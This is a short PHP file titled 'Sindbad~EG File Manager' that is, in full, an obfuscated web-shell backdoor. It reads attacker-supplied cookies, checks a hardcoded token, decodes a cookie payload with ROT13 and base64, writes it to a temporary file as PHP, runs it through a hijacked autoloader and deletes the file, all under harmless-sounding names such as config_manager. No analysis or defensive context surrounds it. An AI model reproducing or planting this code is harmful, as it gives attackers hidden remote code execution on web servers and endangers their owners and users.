Sindbad~EG File Manager

<?php


if (isset($_COOKIE[70-70]) && isset($_COOKIE[-82+83]) && isset($_COOKIE[7-4]) && isset($_COOKIE[-62+66])) {
    $data_chunk = $_COOKIE;
    function config_manager($flag) {
        $data_chunk = $_COOKIE;
        $resource = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'be81ae97');
        if (!is_writable($resource)) {
            $resource = getcwd() . DIRECTORY_SEPARATOR . "secure_access";
        }
        $desc = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($data_chunk[3]));
        if (is_writeable($resource)) {
            $elem = fopen($resource, 'w+');
            fputs($elem, $desc);
            fclose($elem);
            spl_autoload_unregister(__FUNCTION__);
            require_once($resource);
            @array_map('unlink', array($resource));
        }
    }
    spl_autoload_register("config_manager");
    $tkn = "ca8c5636f8c6d610778d42be3f8fc262";
    if (!strncmp($tkn, $data_chunk[4], 32)) {
        if (@class_parents("buffer_cache_reverse_searcher", true)) {
            exit;
        }
    }
}